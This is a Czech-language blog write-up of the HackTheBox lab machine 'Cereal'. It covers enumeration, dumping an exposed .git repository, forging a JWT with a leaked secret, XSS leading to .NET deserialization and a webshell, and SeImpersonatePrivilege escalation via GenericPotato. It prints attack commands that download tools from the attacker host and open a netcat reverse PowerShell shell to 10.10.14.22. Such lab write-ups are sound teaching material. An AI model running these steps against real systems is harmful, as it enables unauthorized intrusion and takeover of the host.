tom@home.htb:~$

Blog o HTB

17 November 2020

Cereal

Úvod a kontext

Cereal je výborná ukázka modernějšího webového řetězce: veřejně dostupný .git, starý commit s JWT tajemstvím, klientská XSS v administračním rozhraní a nakonec zneužití server-side deserializace. Nejde o lineární “najdu RCE a hotovo”, ale o několik navazujících chyb důvěry.

Stejně zajímavá je i root část. Po prvním shellu se neútočí přímo na veřejně viditelnou Windows službu, ale na GraphQL endpoint objevený až při lokálním průzkumu hostu. Teprve spojení SeImpersonatePrivilege, port forwardu a GenericPotato dovede celý řetězec až k SYSTEM.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Issuer: commonName=cereal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-11T19:57:18
| Not valid after:  2040-11-11T20:07:19
| MD5:   8785 41e5 4962 7041 af57 94e3 4564 090d
|_SHA-1: 5841 b3f2 29f0 2ada 2c62 e1da 969d b966 57ad 5367
|_ssl-date: 2021-04-01T21:44:34+00:00; +2m44s from scanner time.
| tls-alpn:
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumerace webu

Hlavní web cereal.htb vrací jen minimum obsahu, ale certifikát zároveň prozradí vedlejší host source.cereal.htb. Právě ten nakonec obsahuje nejdůležitější chybu v celé cestě.

./dirsearch/dirsearch.py -u https://cereal.htb/ -e php -x 403 -r
./dirsearch/dirsearch.py -u https://source.cereal.htb/ -e php -x 403 -r
[23:53:49] 200 -    1KB - /favicon.ico
[23:53:58] 200 -  492B  - /manifest.json
[23:54:09] 200 -   57B  - /robots.txt
[23:57:03] 200 -   23B  - /.git/logs/HEAD
...

Analýza zjištění

Otevřený .git a staré commity

.git/logs/HEAD má smysl číst právě proto, že nevrací jen současný stav, ale i historii commitů. Tady to vede ke stažení celého repozitáře a k porovnání starších verzí backendu a frontendu.

https://source.cereal.htb/.git/logs/HEAD
__CENSORED__ __CENSORED__ Count Chocula <chocula@cere.al> 1573789070 -0600	commit (initial): CEREAL!!
__CENSORED__ __CENSORED__ Sonny <sonny@cere.al> 1573789206 -0600	commit: Security fixes
__CENSORED__ __CENSORED__ Sonny <sonny@cere.al> 1573789555 -0600	commit: Image updates
__CENSORED__ __CENSORED__ Sonny <sonny@cere.al> 1578439144 -0600	commit: Some changes
./gitdumper.sh https://source.cereal.htb/.git/ ../../Machines/Cereal/repo
./extractor.sh ../../Machines/Cereal/repo ../../Machines/Cereal/extractGit

JWT secret a XSS v admin panelu

Ve starším commitu je v UserService.cs natvrdo uložené JWT tajemství. Zároveň React admin page používá react-marked-markdown ve verzi, která dovolí zneužít markdown preview. To je přesně kombinace, která dává smysl: vlastnoručně podepsat admin token a pak pomocí XSS přinutit administrátora, aby provedl další autentizovaný krok za nás.

grep -R "secretlhfIH&FY*#oysuflkhskjfhefesf" -n ../../Machines/Cereal/extractGit
var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
<MarkdownPreview markedOptions= value={requestData.title} />

Získání přístupu

Podvržený JWT a server-side download

Podepsaný JWT s name = 1 otevře admin kontext. Potom lze přes XSS v názvu requestu spustit JavaScript, který pošle na backend JSON s typem Cereal.DownloadHelper. Server tento objekt deserializuje, stáhne shell.aspx z našeho hostu a uloží ho do C:\inetpub\source\uploads\.

python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg==.eyJuYW1lIjogIjEiLCAiZXhwIjogMTYxNzk3MDYxNX0K.
python3 exploit.py
curl -k https://source.cereal.htb/uploads/shell.aspx

Získání user flagu

user.txt tady potvrzuje, že XSS nebyla jen klientská kuriozita, ale reálně vedla k zápisu webshellu a shellu na aplikačním serveru.

more user.txt
__CENSORED__

Eskalace oprávnění

GraphQL na portu 8080 a SeImpersonatePrivilege

Po prvním shellu je klíčové podívat se, co na hostu běží mimo původní web. netstat ukáže službu na portu 8080 a whoami /all potvrdí SeImpersonatePrivilege. To je přesně kombinace, která stojí za další pivot: nejdřív zpřístupnit GraphQL zvenku přes chisel, potom ho využít jako trigger pro GenericPotato.

netstat -ano | findstr LISTEN
whoami /all
=> TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4
=> SeImpersonatePrivilege        Impersonate a client after authentication Enabled

updatePlant jako trigger pro GenericPotato

GenericPotato otevře lokální HTTP listener na 8890. Když se přes interní GraphQL zavolá mutace updatePlant se sourceURL:"http://localhost:8890", privilegovaná služba se na tento endpoint sama připojí a SeImpersonatePrivilege se promění v SYSTEM shell.

curl http://10.10.14.22:8000/exe/chisel_windows_amd64.exe -o chisel_windows_amd64.exe
curl http://10.10.14.22:8000/exe/nc64.exe -o nc64.exe
curl http://10.10.14.22:8000/exe/GenericPotato.exe -o GenericPotato.exe
curl http://10.10.14.22:8000/exe/NtApiDotNet.xml -o NtApiDotNet.xml
./chisel server -p 8001 --reverse
chisel_windows_amd64.exe client 10.10.14.22:8001 R:8081:127.0.0.1:8080
.\GenericPotato.exe -p "c:\ProgramData\nc64.exe" -a "10.10.14.22 4002 -e powershell" -e HTTP -l 8890
curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8890\")}"}' 'http://localhost:8081/api/graphql'
cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - rce - ssh - php - exploit - enumeration